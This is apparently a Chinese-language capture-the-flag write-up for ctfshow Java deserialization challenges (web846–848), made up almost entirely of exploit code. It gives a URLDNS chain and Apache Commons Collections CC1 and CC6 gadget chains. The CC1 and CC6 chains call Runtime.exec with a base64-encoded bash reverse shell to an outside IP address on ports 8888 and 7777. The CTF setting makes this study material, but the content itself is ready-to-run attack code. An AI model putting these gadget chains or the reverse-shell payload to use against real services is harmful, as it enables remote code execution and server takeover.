ctfshow刷题(Java反序列化)

CTFshowJava反序列化

web846

urldns链

import java.io.ByteArrayOutputStream;  
import java.io.IOException;  
import java.io.ObjectOutput;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.net.URL;  
import java.util.Base64;  
import java.util.HashMap;  
  
public class URLDNS {  
public static void serialize(Object obj) throws IOException{  
ByteArrayOutputStream data =new ByteArrayOutputStream();  
ObjectOutput oos =new ObjectOutputStream(data);  
oos.writeObject(obj);  
oos.flush();  
oos.close();  
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));  
};  
  
public static void main(String[] args) throws Exception{  
URL url=new URL("http://28bc736c-f956-4721-8651-efc6e2beb94a.challenge.ctf.show/");  
Class c=url.getClass();  
Field hashcode=c.getDeclaredField("hashCode");  
hashcode.setAccessible(true);  
hashcode.set(url,1);  
HashMap h = new HashMap();  
h.put(url,1);  
hashcode.set(url,-1);  
serialize(h);  
}  
}

web847

环境Java7、Common-Collection 3.1 CC1

package org.example;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  
  
import java.io.*;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Map;  
  
public class Main {  
public static void main(String[] args) throws Exception{  
Transformer[] transformers =new Transformer[]  
{  
new ConstantTransformer(Runtime.class),  
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),  
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),  
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDEuNzAuMzMvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"})  
};  
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);  
HashMap hashMap=new HashMap();  
hashMap.put("value",chainedTransformer);  
Map transformedMap =TransformedMap.decorate(hashMap,null,chainedTransformer);  
Class c= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
Constructor annotationInvocationHandler=c.getDeclaredConstructor(Class.class, Map.class);  
annotationInvocationHandler.setAccessible(true);  
Object obj= annotationInvocationHandler.newInstance(Target.class,transformedMap);  
serialize(obj);  
}  
public static void serialize(Object obj) throws Exception{  
ByteArrayOutputStream data=new ByteArrayOutputStream();  
ObjectOutputStream oos = new ObjectOutputStream(data);  
oos.writeObject(obj);  
oos.flush();  
oos.close();  
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));  
}  
}

反弹shell

https://x.hacking8.com/java-runtime.html

Web848

CC6

package org.example;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import org.apache.commons.collections.map.TransformedMap;  
import sun.misc.BASE64Decoder;  
  
import javax.swing.plaf.basic.BasicComboPopup;  
import java.io.*;  
import java.lang.annotation.Retention;  
import java.lang.annotation.Target;  
import java.lang.reflect.*;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Map;  
  
public class Main {  
public static void main(String[] args) throws Exception{  
//定义一系列Transformer对象,组成一个变换链  
Transformer[] transformers = new Transformer[]{  
new ConstantTransformer(Runtime.class),  
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),  
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDEuNzAuMzMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"})  
};  
//将多个Transformer对象组合成一个链  
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
HashMap hash = new HashMap<>();  
Map lazyMap = LazyMap.decorate(hash, new ConstantTransformer(1));  
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");  
HashMap hashMap = new HashMap<>();  
hashMap.put(tiedMapEntry,"bbb");  
hash.remove("aaa");  
Class c = LazyMap.class;  
Field declaredField = c.getDeclaredField("factory");  
declaredField.setAccessible(true);  
declaredField.set(lazyMap,chainedTransformer);  
  
serialize(hashMap);  
}  
public static void serialize(Object obj) throws Exception {  
ByteArrayOutputStream data=new ByteArrayOutputStream();  
ObjectOutputStream oos = new ObjectOutputStream(data);  
oos.writeObject(obj);  
oos.flush();  
oos.close();  
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));  
}  
}